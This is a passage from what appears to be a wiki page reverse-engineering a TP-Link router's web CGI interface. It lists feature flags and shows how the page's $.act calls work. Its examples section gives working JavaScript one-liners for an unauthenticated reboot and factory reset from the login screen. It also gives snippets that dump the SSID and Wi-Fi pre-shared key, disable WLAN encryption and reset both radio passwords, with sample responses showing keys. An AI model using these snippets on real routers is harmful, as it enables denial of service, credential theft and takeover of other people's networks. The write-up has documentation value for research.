var AP_CONFIG_WEPKEY = &amp;quot;AP_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var AP_SNMP_CFG = &amp;quot;AP_SNMP_CFG&amp;quot;&lt;br /&gt;
var MULTIMODE_CLIENT = &amp;quot;MULTIMODE_CLIENT&amp;quot;&lt;br /&gt;
var MULTIMODE_RE = &amp;quot;MULTIMODE_RE&amp;quot;&lt;br /&gt;
var RE_CONFIG_WEPKEY = &amp;quot;RE_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var MULTIMODE_ROUTER = &amp;quot;MULTIMODE_ROUTER&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_WEPKEY = &amp;quot;ROUTER_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MULTISSID = &amp;quot;ROUTER_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MSSIDENTRY = &amp;quot;ROUTER_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_MSSID = &amp;quot;MULTIMODE_MSSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MULTISSID = &amp;quot;MSSID_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MSSIDENTRY = &amp;quot;MSSID_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_HOTSPOT = &amp;quot;MULTIMODE_HOTSPOT&amp;quot;&lt;br /&gt;
var PING_WATCH_DOG = &amp;quot;PING_WATCH_DOG&amp;quot;&lt;br /&gt;
var LED_CONTROL = &amp;quot;LED_CONTROL&amp;quot;&lt;br /&gt;
var NEW_SDMZ_CFG = &amp;quot;NEW_SDMZ_CFG&amp;quot;&lt;br /&gt;
&lt;br /&gt;
var INCLUDE_MULTI_LANGUAGE_Q=0&lt;br /&gt;
var INCLUDE_LOGIN_GDPR_ENCRYPT=1&lt;br /&gt;
var INCLUDE_WAN_LAN_STATUS=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MODEM=0&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var WEB_INCLUDE_TEST=0&lt;br /&gt;
var WEB_INCLUDE_MULTI_EWAN=0&lt;br /&gt;
var WEB_INCLUDE_DST=1&lt;br /&gt;
var WEB_QS_CHANGEPASSWORD=1&lt;br /&gt;
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0&lt;br /&gt;
var INCLUDE_UN_IPTV=0&lt;br /&gt;
var INCLUDE_SCHEDULE_NEW=0&lt;br /&gt;
var INCLUDE_HW_NAT=0&lt;br /&gt;
var INCLUDE_LED_CONTROL=0&lt;br /&gt;
var INCLUDE_MULTILANGUAGE=0&lt;br /&gt;
var INCLUDE_FEEDBACK=0&lt;br /&gt;
var INCLUDE_WOL=0&lt;br /&gt;
var INCLUDE_MULTILOCALCOEX=0&lt;br /&gt;
var INCLUDE_WEBUI_SUPPORT=1&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT=0&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT=0&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST=0&lt;br /&gt;
var INCLUDE_MULTIPLE_LOCALIZATION=0&lt;br /&gt;
var INCLUDE_SCAN_ALL_CHANNELS=0&lt;br /&gt;
var INCLUDE_WDS_DUALBAND_DYNSWITCH=0&lt;br /&gt;
var INCLUDE_LOCK_TO_AP=1&lt;br /&gt;
&lt;br /&gt;
var INCLUDE_LAN_WLAN=1&lt;br /&gt;
var INCLUDE_VOIP&lt;br /&gt;
var INCLUDE_FXS_NUM&lt;br /&gt;
var INCLUDE_CALLLOG&lt;br /&gt;
var INCLUDE_USB_VOICEMAIL&lt;br /&gt;
var INCLUDE_PSTN&lt;br /&gt;
var INCLUDE_PSTN_GATEWAY&lt;br /&gt;
var INCLUDE_PSTN_LIFELINE&lt;br /&gt;
var INCLUDE_BRIDGING=1&lt;br /&gt;
var INCLUDE_IGMP=1&lt;br /&gt;
var INCLUDE_ETHERNET_WAN=1&lt;br /&gt;
var INCLUDE_WAN_LAN_STATUS=1&lt;br /&gt;
var INCLUDE_SNMP=1&lt;br /&gt;
var INCLUDE_RIP&lt;br /&gt;
var INCLUDE_DDNS_PH&lt;br /&gt;
var INCLUDE_LAN_WLAN_MSSID=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS=1&lt;br /&gt;
var INCLUDE_IPTV&lt;br /&gt;
var INCLUDE_CWMP&lt;br /&gt;
var INCLUDE_DYNDNS=1&lt;br /&gt;
var INCLUDE_USB&lt;br /&gt;
var INCLUDE_USB_STORAGE&lt;br /&gt;
var INCLUDE_USB_MEDIA_SERVER&lt;br /&gt;
var INCLUDE_USB_SAMBA_SERVER&lt;br /&gt;
var INCLUDE_USB_FTP_SERVER&lt;br /&gt;
var INCLUDE_USB_OVER_IP&lt;br /&gt;
var INCLUDE_ADSLWAN&lt;br /&gt;
var INCLUDE_AUTO_PVC&lt;br /&gt;
var INCLUDE_IPV6=1&lt;br /&gt;
var INCLUDE_IPV6_SLAAC=1&lt;br /&gt;
var INCLUDE_IPV6_AUTO=1&lt;br /&gt;
var INCLUDE_SPECIAL_DIAL_MODE&lt;br /&gt;
var INCLUDE_WAN_MODE=1&lt;br /&gt;
var INCLUDE_IPSEC&lt;br /&gt;
var INCLUDE_NOIPDNS=1&lt;br /&gt;
var INCLUDE_ALG_H323=1&lt;br /&gt;
var INCLUDE_ALG_SIP=1&lt;br /&gt;
var INCLUDE_PON_ETH_WAN&lt;br /&gt;
var INCLUDE_EPON_INFO&lt;br /&gt;
var INCLUDE_GPON_INFO&lt;br /&gt;
var INCLUDE_QOS&lt;br /&gt;
var INCLUDE_E8_APP&lt;br /&gt;
var INCLUDE_TFC_PERU&lt;br /&gt;
var INCLUDE_USB_3G_DONGLE&lt;br /&gt;
var INCLUDE_LAN_WLAN_SCHEDULE=1&lt;br /&gt;
var INCLUDE_ROUTE_BINDING&lt;br /&gt;
var INCLUDE_LAN_WLAN_GUESTNETWORK=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_DUALBAND&lt;br /&gt;
var INCLUDE_LAN_WLAN_HWSWITCH&lt;br /&gt;
var INCLUDE_LAN_WLAN_AC=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS_DETECT&lt;br /&gt;
var INCLUDE_L2TP=1&lt;br /&gt;
var INCLUDE_PPTP=1&lt;br /&gt;
var INCLUDE_IPV6_MLD=1&lt;br /&gt;
var INCLUDE_ACL&lt;br /&gt;
var INCLUDE_ACL_ADVANCE&lt;br /&gt;
var INCLUDE_DUAL_ACCESS=1&lt;br /&gt;
var INCLUDE_WAN_TYPE_DETECT=1&lt;br /&gt;
var INCLUDE_BPA=1&lt;br /&gt;
var INCLUDE_CMXDNS=1&lt;br /&gt;
var INCLUDE_IPPING_DIAG=1&lt;br /&gt;
var INCLUDE_TRACEROUTE_DIAG=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_QUICKSAVE&lt;br /&gt;
var INCLUDE_IGMP_FORCEVERSION=1&lt;br /&gt;
var INCLUDE_PORTABLE_APP=1&lt;br /&gt;
var DEFAULT_NO_SPEC=1&lt;br /&gt;
var INCLUDE_MEXICO_SPEC&lt;br /&gt;
var INCLUDE_CANADA_SPEC&lt;br /&gt;
var INCLUDE_JAPAN_SPEC&lt;br /&gt;
var INCLUDE_KOREA_SPEC&lt;br /&gt;
var INCLUDE_PL_SPEC&lt;br /&gt;
var INCLUDE_BR_SPEC&lt;br /&gt;
var INCLUDE_ROMANIA_SPEC&lt;br /&gt;
var INCLUDE_RUSSIA_SPEC&lt;br /&gt;
var INCLUDE_US_SPEC&lt;br /&gt;
var INCLUDE_VN_SPEC&lt;br /&gt;
var INCLUDE_VIETNAM_FPT&lt;br /&gt;
var INCLUDE_TW_SPEC&lt;br /&gt;
var INCLUDE_ES_SPEC&lt;br /&gt;
var INCLUDE_X_TP_VLAN=1&lt;br /&gt;
var INCLUDE_FORBID_WAN_PING=1&lt;br /&gt;
var INCLUDE_SMART_DHCP=1&lt;br /&gt;
var INCLUDE_MIC=1&lt;br /&gt;
var INCLUDE_IPV6_PASS_THROUGH&lt;br /&gt;
var INCLUDE_AUTOREBOOT=1&lt;br /&gt;
var INCLUDE_CPUMEM_INFO&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var INCLUDE_MULTIMODE_AP=1&lt;br /&gt;
var INCLUDE_MULTIMODE_CLIENT=1&lt;br /&gt;
var INCLUDE_MULTIMODE=1&lt;br /&gt;
var INCLUDE_PING_WATCHDOG=1&lt;br /&gt;
var INCLUDE_MULTIMODE_ROUTER=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MSSID&lt;br /&gt;
var INCLUDE_YANDEX_DNS&lt;br /&gt;
var INCLUDE_LED_CONTROL&lt;br /&gt;
var INCLUDE_MULTILANGUAGE&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT&lt;br /&gt;
var INCLUDE_MULTIMODE_HOTSPOT=1&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST&lt;br /&gt;
var INCLUDE_FBWIFI&lt;br /&gt;
var INCLUDE_CLOUD&lt;br /&gt;
var INCLUDE_WANIP_BINDING&lt;br /&gt;
var INCLUDE_HTTPS_SSL=1&lt;br /&gt;
var INCLUDE_LAN_AP_GATEWAY=1&lt;br /&gt;
var INCLUDE_US_FOR_KR_SPEC&lt;br /&gt;
var INCLUDE_WOL&lt;br /&gt;
var INCLUDE_NEW_SDMZ&lt;br /&gt;
var INCLUDE_DMZ&lt;br /&gt;
var INCLUDE_SDMZ&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: While debugging CGI calls, the server returns an error numeric code. A successfull request returns &amp;lt;code&amp;gt;$.ret=0&amp;lt;/code&amp;gt;. Other &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt; code&#039;s meaning can be easily resolved using the &amp;lt;code&amp;gt;err.js&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The JS files mentioned up to this point (&amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;oid_str.js&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;err.js&amp;lt;/code&amp;gt;) are all accessible without any authorisation in the werservers &amp;lt;code&amp;gt;/js&amp;lt;/code&amp;gt; directory and define the basic functionality of the web interface.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The easiest to get starting, is by learning from examples, and there are tons of them. Most of them can be found by analysing commands that are integraded within the webpage. If the &amp;lt;code&amp;gt;/web&amp;lt;/code&amp;gt; directory has already been aquired and locally available, a simple command (&amp;lt;code&amp;gt;grep -rnw &#039;./web&#039; -e &#039;$.act&#039;&amp;lt;/code&amp;gt;), will reveal almost 2000 examples, spread over all documents. The other option is to use the browser&#039;s developer options. Choose element selection option (macOS: ⇧+⌘+C) an click any button. All forms on the webpage have &amp;lt;code&amp;gt;onclick=&amp;quot;functionName()&amp;quot;&amp;lt;/code&amp;gt; events present. Then type &amp;lt;code&amp;gt;functionName&amp;lt;/code&amp;gt; without brackets into the browser console and press enter. Double click on the result. This brings you straight to the file containing the function in question. I only explain this, because the page uses multiple iframes, which makes manual search a bit harder. In the following a very simple example function, which has been used as my entry point and also used in the following [[#Examples|Examples]] Section.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;function doRestart()&lt;br /&gt;
{&lt;br /&gt;
	if(confirm(c_str.creboot))&lt;br /&gt;
	{&lt;br /&gt;
		$.guage([&amp;quot;&amp;lt;span class=&#039;T T_rebooting&#039;&amp;gt;&amp;quot;+s_str.rebooting+&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;, &amp;quot;&amp;lt;span class=&#039;T T_wait_reboot&#039;&amp;gt;&amp;quot;+s_str.wait_reboot+&amp;quot;&amp;lt;/span&amp;gt;&amp;quot;,], 100, $.guageInterval, function(){window.parent.$.refresh();});&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_REBOOT);&lt;br /&gt;
		$.exe(true);&lt;br /&gt;
	}&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: On the older firmware, ALL information are transmitted creartext and unencrypted over the network. The newer firmware encrypts the payload, but still uses unencrypted http connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Examples&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Unauthorized Reboot that works from the login screen&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Unauthorized Factory Reset that works from the login screen&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware 170828&lt;br /&gt;
$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A factory reset, also needs a reboot to become active.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get all LAN_WLAN object attributes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GL, LAN_WLAN); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example LAN_WLAN object attributes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;[1,1,0,0,0,0]0&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
__hwWifiStatus=0&lt;br /&gt;
enable=1&lt;br /&gt;
status=Up&lt;br /&gt;
name=wlan0&lt;br /&gt;
BSSID=74:DA:88:FC:C3:AE&lt;br /&gt;
channel=3&lt;br /&gt;
autoChannelEnable=1&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_C3AE&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=2.4GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=n&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=09960466&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=2,11,6,18,24,48,54,60,90,120,150,90,120,240,450,60,120,240,480,&lt;br /&gt;
operationalDataTransmitRates=&lt;br /&gt;
possibleDataTransmitRates=5.5,11,12,24,36,135,150,30,60,240,270,300,45,450,60,120,240,480,&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=64&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[1,2,0,0,0,0]0&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
__hwWifiStatus=0&lt;br /&gt;
enable=0&lt;br /&gt;
status=Disabled&lt;br /&gt;
name=wlan5&lt;br /&gt;
BSSID=74:DA:88:FC:C3:AD&lt;br /&gt;
channel=40&lt;br /&gt;
autoChannelEnable=1&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_C3AE_5G&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=5GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=ac&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=09960466&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=&lt;br /&gt;
operationalDataTransmitRates=&lt;br /&gt;
possibleDataTransmitRates=&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=64&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get SSID and PSK&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;SSID&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;]); $.exe();&lt;br /&gt;
&lt;br /&gt;
// Example Response&lt;br /&gt;
[1,1,0,0,0,0]0&lt;br /&gt;
SSID=TP-Link_00FC&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
[1,2,0,0,0,0]0&lt;br /&gt;
SSID=TP-Link_00FC_5G&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Disable WLAN security&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;name&amp;quot;, &amp;quot;SSID&amp;quot;, &amp;quot;Enable&amp;quot;, &amp;quot;X_TP_Configuration_Modified&amp;quot;, &amp;quot;beaconType&amp;quot;, &amp;quot;Standard&amp;quot;, &amp;quot;WEPEncryptionLevel&amp;quot;, &amp;quot;WEPKeyIndex&amp;quot;, &amp;quot;BasicEncryptionModes&amp;quot;, &amp;quot;BasicAuthenticationMode&amp;quot;, &amp;quot;WPAEncryptionModes&amp;quot;, &amp;quot;WPAAuthenticationMode&amp;quot;, &amp;quot;IEEE11iEncryptionModes&amp;quot;, &amp;quot;IEEE11iAuthenticationMode&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;, &amp;quot;X_TP_GroupKeyUpdateInterval&amp;quot;, &amp;quot;X_TP_RadiusServerIP&amp;quot;, &amp;quot;X_TP_RadiusServerPort&amp;quot;, &amp;quot;X_TP_RadiusServerPassword&amp;quot;]);&lt;br /&gt;
$.exe();&lt;br /&gt;
wlanObj=wlanList[0];&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanObj.__stack,null,[&amp;quot;BeaconType=Basic&amp;quot;, &amp;quot;BasicEncryptionModes=None&amp;quot;, &amp;quot;BasicAuthenticationMode=None&amp;quot;]); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Change both WLAN radio passwords&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
let password = &amp;quot;1234567890&amp;quot;;&lt;br /&gt;
var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,[&amp;quot;name&amp;quot;, &amp;quot;SSID&amp;quot;, &amp;quot;Enable&amp;quot;, &amp;quot;X_TP_Configuration_Modified&amp;quot;, &amp;quot;beaconType&amp;quot;, &amp;quot;Standard&amp;quot;, &amp;quot;WEPEncryptionLevel&amp;quot;, &amp;quot;WEPKeyIndex&amp;quot;, &amp;quot;BasicEncryptionModes&amp;quot;, &amp;quot;BasicAuthenticationMode&amp;quot;, &amp;quot;WPAEncryptionModes&amp;quot;, &amp;quot;WPAAuthenticationMode&amp;quot;, &amp;quot;IEEE11iEncryptionModes&amp;quot;, &amp;quot;IEEE11iAuthenticationMode&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot;, &amp;quot;X_TP_GroupKeyUpdateInterval&amp;quot;, &amp;quot;X_TP_RadiusServerIP&amp;quot;, &amp;quot;X_TP_RadiusServerPort&amp;quot;, &amp;quot;X_TP_RadiusServerPassword&amp;quot;]);&lt;br /&gt;
$.exe();&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanList[0].__stack,null,[&amp;quot;BeaconType=11i&amp;quot;, &amp;quot;IEEE11iAuthenticationMode=PSKAuthentication&amp;quot;, &amp;quot;IEEE11iEncryptionModes=AESEncryption&amp;quot;, &amp;quot;X_TP_PreSharedKey=&amp;quot;+password,&amp;quot;X_TP_GroupKeyUpdateInterval=0&amp;quot;]);&lt;br /&gt;
$.act(ACT_SET,LAN_WLAN,wlanList[1].__stack,null,[&amp;quot;BeaconType=11i&amp;quot;, &amp;quot;IEEE11iAuthenticationMode=PSKAuthentication&amp;quot;, &amp;quot;IEEE11iEncryptionModes=AESEncryption&amp;quot;, &amp;quot;X_TP_PreSharedKey=&amp;quot;+password,&amp;quot;X_TP_GroupKeyUpdateInterval=0&amp;quot;]);&lt;br /&gt;
$.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: wlanObj = wlanList[{1, 2}] (0 = 2.4G; 1 = 5G)&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
